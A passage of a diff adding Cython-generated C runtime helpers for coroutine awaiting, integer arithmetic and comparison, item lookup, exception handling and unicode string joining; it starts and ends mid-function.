&__pyx_CoroutineAwaitType_spec, NULL); +#else + __pyx_CoroutineAwaitType = __Pyx_FetchCommonType(&__pyx_CoroutineAwaitType_type); +#endif + if (unlikely(!__pyx_CoroutineAwaitType)) + return -1; + return 0; +} + +/* GetAwaitIter */ +static CYTHON_INLINE PyObject *__Pyx_Coroutine_GetAwaitableIter(PyObject *o) { +#ifdef __Pyx_Coroutine_USED + if (__Pyx_Coroutine_Check(o)) { + return __Pyx_NewRef(o); + } +#endif + return __Pyx__Coroutine_GetAwaitableIter(o); +} +static void __Pyx_Coroutine_AwaitableIterError(PyObject *source) { +#if PY_VERSION_HEX >= 0x030600B3 && PY_VERSION_HEX < 0x030d0000 || defined(_PyErr_FormatFromCause) + __Pyx_TypeName source_type_name = __Pyx_PyType_GetName(Py_TYPE(source)); + _PyErr_FormatFromCause(PyExc_TypeError, + "'async for' received an invalid object from __anext__: " __Pyx_FMT_TYPENAME, source_type_name); + __Pyx_DECREF_TypeName(source_type_name); +#elif PY_MAJOR_VERSION >= 3 + PyObject *exc, *val, *val2, *tb; + __Pyx_TypeName source_type_name = __Pyx_PyType_GetName(Py_TYPE(source)); + assert(PyErr_Occurred()); + PyErr_Fetch(&exc, &val, &tb); + PyErr_NormalizeException(&exc, &val, &tb); + if (tb != NULL) { + PyException_SetTraceback(val, tb); + Py_DECREF(tb); + } + Py_DECREF(exc); + assert(!PyErr_Occurred()); + PyErr_Format(PyExc_TypeError, + "'async for' received an invalid object from __anext__: " __Pyx_FMT_TYPENAME, source_type_name); + __Pyx_DECREF_TypeName(source_type_name); + PyErr_Fetch(&exc, &val2, &tb); + PyErr_NormalizeException(&exc, &val2, &tb); + Py_INCREF(val); + PyException_SetCause(val2, val); + PyException_SetContext(val2, val); + PyErr_Restore(exc, val2, tb); +#else + CYTHON_UNUSED_VAR(source); +#endif +} +static PyObject *__Pyx__Coroutine_GetAwaitableIter(PyObject *obj) { + PyObject *res; +#if CYTHON_USE_ASYNC_SLOTS + __Pyx_PyAsyncMethodsStruct* am = __Pyx_PyType_AsAsync(obj); + if (likely(am && am->am_await)) { + res = (*am->am_await)(obj); + } else +#endif +#if PY_VERSION_HEX >= 0x030500B2 || defined(PyCoro_CheckExact) + if (PyCoro_CheckExact(obj)) { + return __Pyx_NewRef(obj); + } else +#endif +#if CYTHON_COMPILING_IN_CPYTHON && defined(CO_ITERABLE_COROUTINE) +#if PY_VERSION_HEX >= 0x030C00A6 + if (PyGen_CheckExact(obj) && (PyGen_GetCode((PyGenObject*)obj)->co_flags & CO_ITERABLE_COROUTINE)) { +#else + if (PyGen_CheckExact(obj) && ((PyGenObject*)obj)->gi_code && ((PyCodeObject *)((PyGenObject*)obj)->gi_code)->co_flags & CO_ITERABLE_COROUTINE) { +#endif + return __Pyx_NewRef(obj); + } else +#endif + { + PyObject *method = NULL; + int is_method = __Pyx_PyObject_GetMethod(obj, __pyx_n_s_await, &method); + if (likely(is_method)) { + res = __Pyx_PyObject_CallOneArg(method, obj); + } else if (likely(method)) { + res = __Pyx_PyObject_CallNoArg(method); + } else + goto slot_error; + Py_DECREF(method); + } + if (unlikely(!res)) { + __Pyx_Coroutine_AwaitableIterError(obj); + goto bad; + } + if (unlikely(!PyIter_Check(res))) { + __Pyx_TypeName res_type_name = __Pyx_PyType_GetName(Py_TYPE(res)); + PyErr_Format(PyExc_TypeError, + "__await__() returned non-iterator of type '" __Pyx_FMT_TYPENAME "'", res_type_name); + __Pyx_DECREF_TypeName(res_type_name); + Py_CLEAR(res); + } else { + int is_coroutine = 0; + #ifdef __Pyx_Coroutine_USED + is_coroutine |= __Pyx_Coroutine_Check(res); + #endif + #if PY_VERSION_HEX >= 0x030500B2 || defined(PyCoro_CheckExact) + is_coroutine |= PyCoro_CheckExact(res); + #endif + if (unlikely(is_coroutine)) { + /* __await__ must return an *iterator*, not + a coroutine or another awaitable (see PEP 492) */ + PyErr_SetString(PyExc_TypeError, + "__await__() returned a coroutine"); + Py_CLEAR(res); + } + } + return res; +slot_error: + { + __Pyx_TypeName obj_type_name = __Pyx_PyType_GetName(Py_TYPE(obj)); + PyErr_Format(PyExc_TypeError, + "object " __Pyx_FMT_TYPENAME " can't be used in 'await' expression", obj_type_name); + __Pyx_DECREF_TypeName(obj_type_name); + } +bad: + return NULL; +} + +/* CoroutineYieldFrom */ + static PyObject* __Pyx__Coroutine_Yield_From_Generic(__pyx_CoroutineObject *gen, PyObject *source) { + PyObject *retval; + PyObject *source_gen = __Pyx__Coroutine_GetAwaitableIter(source); + if (unlikely(!source_gen)) { + return NULL; + } + if (__Pyx_Coroutine_Check(source_gen)) { + retval = __Pyx_Generator_Next(source_gen); + } else { + retval = __Pyx_PyObject_GetIterNextFunc(source_gen)(source_gen); + } + if (retval) { + gen->yieldfrom = source_gen; + return retval; + } + Py_DECREF(source_gen); + return NULL; +} +static CYTHON_INLINE PyObject* __Pyx_Coroutine_Yield_From(__pyx_CoroutineObject *gen, PyObject *source) { + PyObject *retval; + if (__Pyx_Coroutine_Check(source)) { + if (unlikely(((__pyx_CoroutineObject*)source)->yieldfrom)) { + PyErr_SetString( + PyExc_RuntimeError, + "coroutine is being awaited already"); + return NULL; + } + retval = __Pyx_Generator_Next(source); +#ifdef __Pyx_AsyncGen_USED + } else if (__pyx_PyAsyncGenASend_CheckExact(source)) { + retval = __Pyx_async_gen_asend_iternext(source); +#endif + } else { + return __Pyx__Coroutine_Yield_From_Generic(gen, source); + } + if (retval) { + Py_INCREF(source); + gen->yieldfrom = source; + } + return retval; +} + +/* PyIntBinop */ + #if !CYTHON_COMPILING_IN_PYPY +static PyObject* __Pyx_PyInt_AddObjC(PyObject *op1, PyObject *op2, long intval, int inplace, int zerodivision_check) { + CYTHON_MAYBE_UNUSED_VAR(intval); + CYTHON_MAYBE_UNUSED_VAR(inplace); + CYTHON_UNUSED_VAR(zerodivision_check); + #if PY_MAJOR_VERSION < 3 + if (likely(PyInt_CheckExact(op1))) { + const long b = intval; + long x; + long a = PyInt_AS_LONG(op1); + + x = (long)((unsigned long)a + (unsigned long)b); + if (likely((x^a) >= 0 || (x^b) >= 0)) + return PyInt_FromLong(x); + return PyLong_Type.tp_as_number->nb_add(op1, op2); + } + #endif + #if CYTHON_USE_PYLONG_INTERNALS + if (likely(PyLong_CheckExact(op1))) { + const long b = intval; + long a, x; +#ifdef HAVE_LONG_LONG + const PY_LONG_LONG llb = intval; + PY_LONG_LONG lla, llx; +#endif + if (unlikely(__Pyx_PyLong_IsZero(op1))) { + return __Pyx_NewRef(op2); + } + if (likely(__Pyx_PyLong_IsCompact(op1))) { + a = __Pyx_PyLong_CompactValue(op1); + } else { + const digit* digits = __Pyx_PyLong_Digits(op1); + const Py_ssize_t size = __Pyx_PyLong_SignedDigitCount(op1); + switch (size) { + case -2: + if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { + a = -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 2 * PyLong_SHIFT) { + lla = -(PY_LONG_LONG) (((((unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case 2: + if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { + a = (long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 2 * PyLong_SHIFT) { + lla = (PY_LONG_LONG) (((((unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case -3: + if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { + a = -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 3 * PyLong_SHIFT) { + lla = -(PY_LONG_LONG) (((((((unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case 3: + if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { + a = (long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 3 * PyLong_SHIFT) { + lla = (PY_LONG_LONG) (((((((unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case -4: + if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { + a = -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 4 * PyLong_SHIFT) { + lla = -(PY_LONG_LONG) (((((((((unsigned PY_LONG_LONG)digits[3]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case 4: + if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { + a = (long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 4 * PyLong_SHIFT) { + lla = (PY_LONG_LONG) (((((((((unsigned PY_LONG_LONG)digits[3]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + default: return PyLong_Type.tp_as_number->nb_add(op1, op2); + } + } + x = a + b; + return PyLong_FromLong(x); +#ifdef HAVE_LONG_LONG + long_long: + llx = lla + llb; + return PyLong_FromLongLong(llx); +#endif + + + } + #endif + if (PyFloat_CheckExact(op1)) { + const long b = intval; +#if CYTHON_COMPILING_IN_LIMITED_API + double a = __pyx_PyFloat_AsDouble(op1); +#else + double a = PyFloat_AS_DOUBLE(op1); +#endif + double result; + + PyFPE_START_PROTECT("add", return NULL) + result = ((double)a) + (double)b; + PyFPE_END_PROTECT(result) + return PyFloat_FromDouble(result); + } + return (inplace ? PyNumber_InPlaceAdd : PyNumber_Add)(op1, op2); +} +#endif + +/* GetItemInt */ + static PyObject *__Pyx_GetItemInt_Generic(PyObject *o, PyObject* j) { + PyObject *r; + if (unlikely(!j)) return NULL; + r = PyObject_GetItem(o, j); + Py_DECREF(j); + return r; +} +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_List_Fast(PyObject *o, Py_ssize_t i, + CYTHON_NCP_UNUSED int wraparound, + CYTHON_NCP_UNUSED int boundscheck) { +#if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + Py_ssize_t wrapped_i = i; + if (wraparound & unlikely(i < 0)) { + wrapped_i += PyList_GET_SIZE(o); + } + if ((!boundscheck) || likely(__Pyx_is_valid_index(wrapped_i, PyList_GET_SIZE(o)))) { + PyObject *r = PyList_GET_ITEM(o, wrapped_i); + Py_INCREF(r); + return r; + } + return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); +#else + return PySequence_GetItem(o, i); +#endif +} +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Tuple_Fast(PyObject *o, Py_ssize_t i, + CYTHON_NCP_UNUSED int wraparound, + CYTHON_NCP_UNUSED int boundscheck) { +#if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + Py_ssize_t wrapped_i = i; + if (wraparound & unlikely(i < 0)) { + wrapped_i += PyTuple_GET_SIZE(o); + } + if ((!boundscheck) || likely(__Pyx_is_valid_index(wrapped_i, PyTuple_GET_SIZE(o)))) { + PyObject *r = PyTuple_GET_ITEM(o, wrapped_i); + Py_INCREF(r); + return r; + } + return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); +#else + return PySequence_GetItem(o, i); +#endif +} +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Fast(PyObject *o, Py_ssize_t i, int is_list, + CYTHON_NCP_UNUSED int wraparound, + CYTHON_NCP_UNUSED int boundscheck) { +#if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS && CYTHON_USE_TYPE_SLOTS + if (is_list || PyList_CheckExact(o)) { + Py_ssize_t n = ((!wraparound) | likely(i >= 0)) ? i : i + PyList_GET_SIZE(o); + if ((!boundscheck) || (likely(__Pyx_is_valid_index(n, PyList_GET_SIZE(o))))) { + PyObject *r = PyList_GET_ITEM(o, n); + Py_INCREF(r); + return r; + } + } + else if (PyTuple_CheckExact(o)) { + Py_ssize_t n = ((!wraparound) | likely(i >= 0)) ? i : i + PyTuple_GET_SIZE(o); + if ((!boundscheck) || likely(__Pyx_is_valid_index(n, PyTuple_GET_SIZE(o)))) { + PyObject *r = PyTuple_GET_ITEM(o, n); + Py_INCREF(r); + return r; + } + } else { + PyMappingMethods *mm = Py_TYPE(o)->tp_as_mapping; + PySequenceMethods *sm = Py_TYPE(o)->tp_as_sequence; + if (mm && mm->mp_subscript) { + PyObject *r, *key = PyInt_FromSsize_t(i); + if (unlikely(!key)) return NULL; + r = mm->mp_subscript(o, key); + Py_DECREF(key); + return r; + } + if (likely(sm && sm->sq_item)) { + if (wraparound && unlikely(i < 0) && likely(sm->sq_length)) { + Py_ssize_t l = sm->sq_length(o); + if (likely(l >= 0)) { + i += l; + } else { + if (!PyErr_ExceptionMatches(PyExc_OverflowError)) + return NULL; + PyErr_Clear(); + } + } + return sm->sq_item(o, i); + } + } +#else + if (is_list || !PyMapping_Check(o)) { + return PySequence_GetItem(o, i); + } +#endif + return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); +} + +/* ObjectGetItem */ + #if CYTHON_USE_TYPE_SLOTS +static PyObject *__Pyx_PyObject_GetIndex(PyObject *obj, PyObject *index) { + PyObject *runerr = NULL; + Py_ssize_t key_value; + key_value = __Pyx_PyIndex_AsSsize_t(index); + if (likely(key_value != -1 || !(runerr = PyErr_Occurred()))) { + return __Pyx_GetItemInt_Fast(obj, key_value, 0, 1, 1); + } + if (PyErr_GivenExceptionMatches(runerr, PyExc_OverflowError)) { + __Pyx_TypeName index_type_name = __Pyx_PyType_GetName(Py_TYPE(index)); + PyErr_Clear(); + PyErr_Format(PyExc_IndexError, + "cannot fit '" __Pyx_FMT_TYPENAME "' into an index-sized integer", index_type_name); + __Pyx_DECREF_TypeName(index_type_name); + } + return NULL; +} +static PyObject *__Pyx_PyObject_GetItem_Slow(PyObject *obj, PyObject *key) { + __Pyx_TypeName obj_type_name; + if (likely(PyType_Check(obj))) { + PyObject *meth = __Pyx_PyObject_GetAttrStrNoError(obj, __pyx_n_s_class_getitem); + if (!meth) { + PyErr_Clear(); + } else { + PyObject *result = __Pyx_PyObject_CallOneArg(meth, key); + Py_DECREF(meth); + return result; + } + } + obj_type_name = __Pyx_PyType_GetName(Py_TYPE(obj)); + PyErr_Format(PyExc_TypeError, + "'" __Pyx_FMT_TYPENAME "' object is not subscriptable", obj_type_name); + __Pyx_DECREF_TypeName(obj_type_name); + return NULL; +} +static PyObject *__Pyx_PyObject_GetItem(PyObject *obj, PyObject *key) { + PyTypeObject *tp = Py_TYPE(obj); + PyMappingMethods *mm = tp->tp_as_mapping; + PySequenceMethods *sm = tp->tp_as_sequence; + if (likely(mm && mm->mp_subscript)) { + return mm->mp_subscript(obj, key); + } + if (likely(sm && sm->sq_item)) { + return __Pyx_PyObject_GetIndex(obj, key); + } + return __Pyx_PyObject_GetItem_Slow(obj, key); +} +#endif + +/* DictGetItem */ + #if PY_MAJOR_VERSION >= 3 && !CYTHON_COMPILING_IN_PYPY +static PyObject *__Pyx_PyDict_GetItem(PyObject *d, PyObject* key) { + PyObject *value; + value = PyDict_GetItemWithError(d, key); + if (unlikely(!value)) { + if (!PyErr_Occurred()) { + if (unlikely(PyTuple_Check(key))) { + PyObject* args = PyTuple_Pack(1, key); + if (likely(args)) { + PyErr_SetObject(PyExc_KeyError, args); + Py_DECREF(args); + } + } else { + PyErr_SetObject(PyExc_KeyError, key); + } + } + return NULL; + } + Py_INCREF(value); + return value; +} +#endif + +/* PyIntCompare */ + static CYTHON_INLINE int __Pyx_PyInt_BoolEqObjC(PyObject *op1, PyObject *op2, long intval, long inplace) { + CYTHON_MAYBE_UNUSED_VAR(intval); + CYTHON_UNUSED_VAR(inplace); + if (op1 == op2) { + return 1; + } + #if PY_MAJOR_VERSION < 3 + if (likely(PyInt_CheckExact(op1))) { + const long b = intval; + long a = PyInt_AS_LONG(op1); + return (a == b); + } + #endif + #if CYTHON_USE_PYLONG_INTERNALS + if (likely(PyLong_CheckExact(op1))) { + int unequal; + unsigned long uintval; + Py_ssize_t size = __Pyx_PyLong_DigitCount(op1); + const digit* digits = __Pyx_PyLong_Digits(op1); + if (intval == 0) { + return (__Pyx_PyLong_IsZero(op1) == 1); + } else if (intval < 0) { + if (__Pyx_PyLong_IsNonNeg(op1)) + return 0; + intval = -intval; + } else { + if (__Pyx_PyLong_IsNeg(op1)) + return 0; + } + uintval = (unsigned long) intval; +#if PyLong_SHIFT * 4 < SIZEOF_LONG*8 + if (uintval >> (PyLong_SHIFT * 4)) { + unequal = (size != 5) || (digits[0] != (uintval & (unsigned long) PyLong_MASK)) + | (digits[1] != ((uintval >> (1 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[2] != ((uintval >> (2 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[3] != ((uintval >> (3 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[4] != ((uintval >> (4 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)); + } else +#endif +#if PyLong_SHIFT * 3 < SIZEOF_LONG*8 + if (uintval >> (PyLong_SHIFT * 3)) { + unequal = (size != 4) || (digits[0] != (uintval & (unsigned long) PyLong_MASK)) + | (digits[1] != ((uintval >> (1 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[2] != ((uintval >> (2 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[3] != ((uintval >> (3 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)); + } else +#endif +#if PyLong_SHIFT * 2 < SIZEOF_LONG*8 + if (uintval >> (PyLong_SHIFT * 2)) { + unequal = (size != 3) || (digits[0] != (uintval & (unsigned long) PyLong_MASK)) + | (digits[1] != ((uintval >> (1 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[2] != ((uintval >> (2 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)); + } else +#endif +#if PyLong_SHIFT * 1 < SIZEOF_LONG*8 + if (uintval >> (PyLong_SHIFT * 1)) { + unequal = (size != 2) || (digits[0] != (uintval & (unsigned long) PyLong_MASK)) + | (digits[1] != ((uintval >> (1 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)); + } else +#endif + unequal = (size != 1) || (((unsigned long) digits[0]) != (uintval & (unsigned long) PyLong_MASK)); + return (unequal == 0); + } + #endif + if (PyFloat_CheckExact(op1)) { + const long b = intval; +#if CYTHON_COMPILING_IN_LIMITED_API + double a = __pyx_PyFloat_AsDouble(op1); +#else + double a = PyFloat_AS_DOUBLE(op1); +#endif + return ((double)a == (double)b); + } + return __Pyx_PyObject_IsTrueAndDecref( + PyObject_RichCompare(op1, op2, Py_EQ)); +} + +/* GetException */ + #if CYTHON_FAST_THREAD_STATE +static int __Pyx__GetException(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) +#else +static int __Pyx_GetException(PyObject **type, PyObject **value, PyObject **tb) +#endif +{ + PyObject *local_type = NULL, *local_value, *local_tb = NULL; +#if CYTHON_FAST_THREAD_STATE + PyObject *tmp_type, *tmp_value, *tmp_tb; + #if PY_VERSION_HEX >= 0x030C00A6 + local_value = tstate->current_exception; + tstate->current_exception = 0; + if (likely(local_value)) { + local_type = (PyObject*) Py_TYPE(local_value); + Py_INCREF(local_type); + local_tb = PyException_GetTraceback(local_value); + } + #else + local_type = tstate->curexc_type; + local_value = tstate->curexc_value; + local_tb = tstate->curexc_traceback; + tstate->curexc_type = 0; + tstate->curexc_value = 0; + tstate->curexc_traceback = 0; + #endif +#else + PyErr_Fetch(&local_type, &local_value, &local_tb); +#endif + PyErr_NormalizeException(&local_type, &local_value, &local_tb); +#if CYTHON_FAST_THREAD_STATE && PY_VERSION_HEX >= 0x030C00A6 + if (unlikely(tstate->current_exception)) +#elif CYTHON_FAST_THREAD_STATE + if (unlikely(tstate->curexc_type)) +#else + if (unlikely(PyErr_Occurred())) +#endif + goto bad; + #if PY_MAJOR_VERSION >= 3 + if (local_tb) { + if (unlikely(PyException_SetTraceback(local_value, local_tb) < 0)) + goto bad; + } + #endif + Py_XINCREF(local_tb); + Py_XINCREF(local_type); + Py_XINCREF(local_value); + *type = local_type; + *value = local_value; + *tb = local_tb; +#if CYTHON_FAST_THREAD_STATE + #if CYTHON_USE_EXC_INFO_STACK + { + _PyErr_StackItem *exc_info = tstate->exc_info; + #if PY_VERSION_HEX >= 0x030B00a4 + tmp_value = exc_info->exc_value; + exc_info->exc_value = local_value; + tmp_type = NULL; + tmp_tb = NULL; + Py_XDECREF(local_type); + Py_XDECREF(local_tb); + #else + tmp_type = exc_info->exc_type; + tmp_value = exc_info->exc_value; + tmp_tb = exc_info->exc_traceback; + exc_info->exc_type = local_type; + exc_info->exc_value = local_value; + exc_info->exc_traceback = local_tb; + #endif + } + #else + tmp_type = tstate->exc_type; + tmp_value = tstate->exc_value; + tmp_tb = tstate->exc_traceback; + tstate->exc_type = local_type; + tstate->exc_value = local_value; + tstate->exc_traceback = local_tb; + #endif + Py_XDECREF(tmp_type); + Py_XDECREF(tmp_value); + Py_XDECREF(tmp_tb); +#else + PyErr_SetExcInfo(local_type, local_value, local_tb); +#endif + return 0; +bad: + *type = 0; + *value = 0; + *tb = 0; + Py_XDECREF(local_type); + Py_XDECREF(local_value); + Py_XDECREF(local_tb); + return -1; +} + +/* pep479 */ + static void __Pyx_Generator_Replace_StopIteration(int in_async_gen) { + PyObject *exc, *val, *tb, *cur_exc; + __Pyx_PyThreadState_declare + #ifdef __Pyx_StopAsyncIteration_USED + int is_async_stopiteration = 0; + #endif + CYTHON_MAYBE_UNUSED_VAR(in_async_gen); + cur_exc = PyErr_Occurred(); + if (likely(!__Pyx_PyErr_GivenExceptionMatches(cur_exc, PyExc_StopIteration))) { + #ifdef __Pyx_StopAsyncIteration_USED + if (in_async_gen && unlikely(__Pyx_PyErr_GivenExceptionMatches(cur_exc, __Pyx_PyExc_StopAsyncIteration))) { + is_async_stopiteration = 1; + } else + #endif + return; + } + __Pyx_PyThreadState_assign + __Pyx_GetException(&exc, &val, &tb); + Py_XDECREF(exc); + Py_XDECREF(val); + Py_XDECREF(tb); + PyErr_SetString(PyExc_RuntimeError, + #ifdef __Pyx_StopAsyncIteration_USED + is_async_stopiteration ? "async generator raised StopAsyncIteration" : + in_async_gen ? "async generator raised StopIteration" : + #endif + "generator raised StopIteration"); +} + +/* UnicodeConcatInPlace */ + # if CYTHON_COMPILING_IN_CPYTHON && PY_MAJOR_VERSION >= 3 +static int +__Pyx_unicode_modifiable(PyObject *unicode) +{ + if (Py_REFCNT(unicode) != 1) + return 0; + if (!PyUnicode_CheckExact(unicode)) + return 0; + if (PyUnicode_CHECK_INTERNED(unicode)) + return 0; + return 1; +} +static CYTHON_INLINE PyObject *__Pyx_PyUnicode_ConcatInPlaceImpl(PyObject **p_left, PyObject *right + #if CYTHON_REFNANNY + , void* __pyx_refnanny + #endif + ) { + PyObject *left = *p_left; + Py_ssize_t left_len, right_len, new_len; + if (unlikely(__Pyx_PyUnicode_READY(left) == -1)) + return NULL; + if (unlikely(__Pyx_PyUnicode_READY(right) == -1)) + return NULL; + left_len = PyUnicode_GET_LENGTH(left); + if (left_len == 0) { + Py_INCREF(right); + return right; + } + right_len = PyUnicode_GET_LENGTH(right); + if (right_len == 0) { + Py_INCREF(left); + return left; + } + if (unlikely(left_len > PY_SSIZE_T_MAX - right_len)) { + PyErr_SetString(PyExc_OverflowError, + "strings are too large to concat"); + return NULL; + } + new_len = left_len + right_len; + if (__Pyx_unicode_modifiable(left) + && PyUnicode_CheckExact(right) + && PyUnicode_KIND(right) <= PyUnicode_KIND(left) + && !(PyUnicode_IS_ASCII(left) && !PyUnicode_IS_ASCII(right))) { + int ret; + __Pyx_GIVEREF(*p_left); + ret = PyUnicode_Resize(p_left, new_len); + __Pyx_GOTREF(*p_left); + if (unlikely(ret != 0)) + return NULL; + #if PY_VERSION_HEX >= 0x030d0000 + if (unlikely(PyUnicode_CopyCharacters(*p_left, left_len, right, 0, right_len) < 0)) return NULL; + #else + _PyUnicode_FastCopyCharacters(*p_left, left_len, right, 0, right_len); + #endif + __Pyx_INCREF(*p_left); + __Pyx_GIVEREF(*p_left); + return *p_left; + } else { + return __Pyx_PyUnicode_Concat(left, right); + } + } +#endif + +/* JoinPyUnicode */ + static PyObject* __Pyx_PyUnicode_Join(PyObject* value_tuple, Py_ssize_t value_count, Py_ssize_t result_ulength, + Py_UCS4 max_char) { +#if CYTHON_USE_UNICODE_INTERNALS && CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + PyObject *result_uval; + int result_ukind, kind_shift; + Py_ssize_t i, char_pos; + void *result_udata; + CYTHON_MAYBE_UNUSED_VAR(max_char); +#if CYTHON_PEP393_ENABLED + result_uval = PyUnicode_New(result_ulength, max_char); + if (unlikely(!result_uval)) return NULL; + result_ukind = (max_char <= 255) ? PyUnicode_1BYTE_KIND : (max_char <= 65535) ? PyUnicode_2BYTE_KIND : PyUnicode_4BYTE_KIND; + kind_shift = (result_ukind == PyUnicode_4BYTE_KIND) ? 2 : result_ukind - 1; + result_udata = PyUnicode_DATA(result_uval); +#else + result_uval = PyUnicode_FromUnicode(NULL, result_ulength); + if (unlikely(!result_uval)) return NULL; + result_ukind = sizeof(Py_UNICODE); + kind_shift = (result_ukind == 4) ? 2 : result_ukind - 1; + result_udata = PyUnicode_AS_UNICODE(result_uval); +#endif + assert(kind_shift == 2 || kind_shift == 1 || kind_shift == 0); + char_pos = 0; + for (i=0; i < value_count; i++) { + int ukind; + Py_ssize_t ulength; + void *udata; + PyObject *uval = PyTuple_GET_ITEM(value_tuple, i); + if (unlikely(__Pyx_PyUnicode_READY(uval))) + goto bad; + ulength = __Pyx_PyUnicode_GET_LENGTH(uval); + if (unlikely(!ulength)) + continue; + if (unlikely((PY_SSIZE_T_MAX >> kind_shift) - ulength < char_pos)) + goto overflow; + ukind = __Pyx_PyUnicode_KIND(uval); + udata = __Pyx_PyUnicode_DATA(uval); + if (!CYTHON_PEP393_ENABLED || ukind == result_ukind) { + memcpy((char *)result_udata + (char_pos << kind_shift), udata, (size_t) (ulength << kind_shift)); + } else { + #if PY_VERSION_HEX >= 0x030d0000 + if (unlikely(PyUnicode_CopyCharacters(result_uval, char_pos, uval, 0, ulength) < 0)) goto bad; + #elif CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030300F0 || defined(_PyUnicode_FastCopyCharacters) + _PyUnicode_FastCopyCharacters(result_uval, char_pos, uval, 0, ulength); + #else + Py_ssize_t j; + for (j=0; j < ulength; j++) { + Py_UCS4 uchar = __Pyx_PyUnicode_READ(ukind, udata, j); + __Pyx_PyUnicode_WRITE(result_ukind, result_udata, char_pos+j, uchar); + } + #endif + } + char_pos += ulength; + } + return result_uval; +overflow: + PyErr_SetString(PyExc_OverflowError, "join() result is too long for a Python string"); +bad: + Py_DECREF(result_uval); + return NULL; +#else + CYTHON_UNUSED_VAR(max_char); + CYTHON_UNUSED_VAR(result_ulength); + CYTHON_UNUSED_VAR(value_count); + return PyUnicode_Join(__pyx_empty_unicode, value_tuple); +#endif +} + +/* ReturnWithStopIteration */ + static void __Pyx__ReturnWithStopIteration(PyObject* value) { + PyObject *exc, *args; +#if CYTHON_COMPILING_IN_CPYTHON + __Pyx_PyThreadState_declare + if (PY_VERSION_HEX >= 0x030C00A6 + || unlikely(PyTuple_Check(value) || PyExceptionInstance_Check(value))) { + args = PyTuple_New(1); + if (unlikely(!args)) return; + Py_INCREF(value); + PyTuple_SET_ITEM(args, 0, value); + exc = PyType_Type.tp_call(PyExc_StopIteration, args, NULL); + Py_DECREF(args); + if (!exc) return; + } else { + Py_INCREF(value); + exc = value; + } + #if CYTHON_FAST_THREAD_STATE + __Pyx_PyThreadState_assign + #if CYTHON_USE_EXC_INFO_STACK + if (!__pyx_tstate->exc_info->exc_value) + #else + if (!__pyx_tstate->exc_type) + #endif + { + 